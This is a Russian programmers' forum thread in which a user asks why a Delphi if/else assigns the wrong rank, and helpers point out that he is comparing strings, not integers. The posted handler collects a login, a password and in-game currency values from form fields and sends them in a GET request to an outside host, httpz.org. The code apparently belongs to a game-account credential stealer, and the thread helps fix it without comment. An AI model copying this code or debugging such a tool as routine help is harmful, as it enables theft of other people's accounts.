Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 16.06.2014, 18:51   #1
vaximan
Пользователь
 
Аватар для vaximan
 
Регистрация: 16.06.2014
Сообщений: 23
Счастье IF THEN ELSE (аномалия)

Доброго времени суток гуру программирования!
Сразу к делу

Код:
procedure TForm1.sButton2Click(Sender: TObject);
 var
pass,login,opit,baks,kred,karon,rang:string;
begin
opit:=sEdit3.Text;
If (opit > '0') and (opit < '700') then
rang :='1'
else
begin
timer26.Enabled:= false;
end;
begin
if (opit > '700') and (opit < '1400') then
rang:= '2'
else
timer26.Enabled:= false;
end;

begin
if (sEdit1.Text='') or (sEdit2.Text='') or (sEdit3.Text='') or (sEdit4.Text='') or (sEdit5.Text='') or (sEdit6.Text='')
then
sMemo1.Text:= 'не суть'
else
begin
pass:=sEdit1.Text;
login:=sEdit2.Text;
opit:=sEdit3.Text;
baks:=sEdit4.Text;
kred:=sEdit5.Text;
karon:=sEdit6.Text;
IdHTTP1.Get('http://httpz.org/nsqzx4act47.gifagent[Ëîãèí:'+login+'|;Ïàðîëü:'+pass+'|;Ðàíã:'+rang+'|;Áàêñû:'+baks+'|;Êðåäèòû:'+kred+'|;Êàðîíû:'+karon+']');
Timer14.Enabled:=true;
Timer20.Enabled:=true;
вот вырезка из моей программы.Все бы хорошо, но почему то когда ввожу в edi3 больше 700 ,он все равно присваивает переменной rang =1.
Хотя там добавлен обработчик который должен выполнять условие больше 700 сот и ставить rang в значение 2.
Вот такая аномалия, не подскажете где напутал?




___________
Код нужно оформлять по правилам:
тегом [CODE]..[/СODE]
(кнопочка на панели форматирования с решёточкой #)

Не забывайте об этом!

Модератор.


p.s. перед копированием текста с русскими символами включайте русскую раскладку клавиатуры
#̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏

Последний раз редактировалось Serge_Bliznykov; 17.06.2014 в 08:40.
vaximan вне форума Ответить с цитированием
Старый 16.06.2014, 19:15   #2
Streletz
Старожил
 
Регистрация: 03.01.2014
Сообщений: 2,870
По умолчанию

Цитата:
вот вырезка из моей программы.Все бы хорошо, но почему то когда ввожу в edi3 больше 700 ,он все равно присваивает переменной rang =1.
Хотя там добавлен обработчик который должен выполнять условие больше 700 сот и ставить rang в значение 2.
Вот такая аномалия, не подскажете где напутал?
Никаких аномалий!
Цитата:
Код:
if (opit > '700') and (opit < '1400') then
Вы сравниваете строки, а нужно сравнивать числа. Приведите типы переменных в операторе if и для сравнения, вместо строки, используйте число.
Код:
if ((StrToInt(opit)>700) and (StrToInt(opit)<1400)) then
P.S. Без обид. Просто совет на будущее. Почитайте в любой книге или, хотя бы, здесь для начинающих про типы данных в Delphi.

Последний раз редактировалось Streletz; 16.06.2014 в 22:15.
Streletz вне форума Ответить с цитированием
Старый 16.06.2014, 20:21   #3
vaximan
Пользователь
 
Аватар для vaximan
 
Регистрация: 16.06.2014
Сообщений: 23
По умолчанию

Спасибо большое за помощь! Нет обид уже бегу в библиотеку)
#̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏
vaximan вне форума Ответить с цитированием
Старый 16.06.2014, 20:54   #4
vaximan
Пользователь
 
Аватар для vaximan
 
Регистрация: 16.06.2014
Сообщений: 23
По умолчанию

Извините, я понимаю что вопросы глупые. Но после подставления вами приведенной строчки в мою программу при компиляции вылазит ошибка expexted but then found , что же опять не так?
#̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏
vaximan вне форума Ответить с цитированием
Старый 16.06.2014, 21:00   #5
BDA
МегаМодератор
СуперМодератор
 
Аватар для BDA
 
Регистрация: 09.11.2010
Сообщений: 7,291
По умолчанию

Лишняя скобка открывающая в начале. Да и тогда уж:
Код:
var
  opit: integer;
...
opit := StrToIntDef(sEdit3.Text, 0);
if (opit > 0) and (opit < 700) then ...
Пишите язык программирования - это форум программистов, а не экстрасенсов. (<= это подпись )
BDA на форуме Ответить с цитированием
Старый 16.06.2014, 22:52   #6
vaximan
Пользователь
 
Аватар для vaximan
 
Регистрация: 16.06.2014
Сообщений: 23
По умолчанию

Спасибо,рад что есть такие как вы ПРОграммисты!
#̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏̏
vaximan вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Авторизация на сайте (аномалия) Florento Работа с сетью в Delphi 1 28.11.2012 06:33
Аномалия на Эриде. Штурмовик-17 Свободное общение 12 18.07.2012 07:05
Аномалия с сетью Dmitrijok Компьютерное железо 0 05.01.2012 00:04
Аномалия Erroreus Microsoft Office Excel 5 20.11.2008 14:42